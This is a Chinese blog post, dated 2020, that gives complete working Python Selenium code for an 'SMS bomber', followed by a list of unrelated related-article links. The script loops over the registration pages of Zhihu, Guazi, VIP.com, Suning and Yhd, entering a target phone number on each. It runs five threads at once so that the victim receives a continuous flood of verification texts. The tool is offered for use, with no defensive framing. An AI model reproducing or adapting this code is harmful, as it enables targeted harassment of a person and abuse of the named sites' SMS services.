Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python中pass语句用法实例分析
Apr 30 Python
浅谈Python单向链表的实现
Dec 24 Python
python利用正则表达式提取字符串
Dec 08 Python
Python栈算法的实现与简单应用示例
Nov 01 Python
利用Django提供的ModelForm增删改数据的方法
Jan 06 Python
python 多线程重启方法
Feb 18 Python
Python3 main函数使用sys.argv传入多个参数的实现
Dec 25 Python
PyCharm设置Ipython交互环境和宏快捷键进行数据分析图文详解
Apr 23 Python
python seaborn heatmap可视化相关性矩阵实例
Jun 03 Python
Python urllib3软件包的使用说明
Nov 18 Python
pytorch finetuning 自己的图片进行训练操作
Jun 05 Python
Python中的tkinter库简单案例详解
Jan 22 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
SSI指令
2006/11/25 PHP
php 网页播放器用来播放在线视频的代码(自动判断并选择视频文件类型)
2010/06/03 PHP
php去掉字符串的最后一个字符附substr()的用法
2011/03/23 PHP
PHP GD库生成图像的几个函数总结
2014/11/19 PHP
简单介绍PHP非阻塞模式
2016/03/03 PHP
基于Jquery的开发个代阴影的对话框效果代码
2011/07/28 Javascript
JS代码放在head和body中的区别分析
2011/12/01 Javascript
jQuery操作checkbox选择(list/table)
2013/04/07 Javascript
利用JavaScript检测CPU使用率自己写的
2014/03/22 Javascript
jQuery选择器之基本选择器与层次选择器
2015/03/03 Javascript
Javascript缓存API
2016/06/14 Javascript
jQuery Dialog 取消右上角删除按钮事件
2016/09/07 Javascript
基于JavaScript实现滑动门效果
2017/03/16 Javascript
微信小程序自定义组件
2017/08/16 Javascript
vue实现后台管理权限系统及顶栏三级菜单显示功能
2019/06/19 Javascript
vue+koa2搭建mock数据环境的详细教程
2020/05/18 Javascript
Python标准库shutil用法实例详解
2018/08/13 Python
Python学习笔记之Zip和Enumerate用法实例分析
2019/08/14 Python
基于Python实现签到脚本过程解析
2019/10/25 Python
pytorch实现onehot编码转为普通label标签
2020/01/02 Python
django美化后台django-suit的安装配置操作
2020/07/12 Python
CSS3实现网站商品展示效果图
2020/01/18 HTML / CSS
凯撒娱乐:Caesars Entertainment
2018/02/23 全球购物
家长给孩子的评语
2014/01/30 职场文书
行政副总岗位职责
2014/02/23 职场文书
高中竞选班长演讲稿
2014/04/24 职场文书
门店业绩提升方案
2014/06/08 职场文书
信息管理与信息系统专业求职信
2014/06/21 职场文书
党员群众路线教育实践活动学习笔记
2014/11/05 职场文书
学雷锋主题班会教案
2015/08/13 职场文书
8g内存用python读取10文件_面试题-python 如何读取一个大于 10G 的txt文件?
2021/05/28 Python
深入理解redis中multi与pipeline
2021/06/02 Redis
CSS极坐标的实例代码
2021/06/03 HTML / CSS
Python中seaborn库之countplot的数据可视化使用
2021/06/11 Python
Django REST framework 限流功能的使用
2021/06/24 Python
Java界面编程实现界面跳转
2022/06/16 Java/Android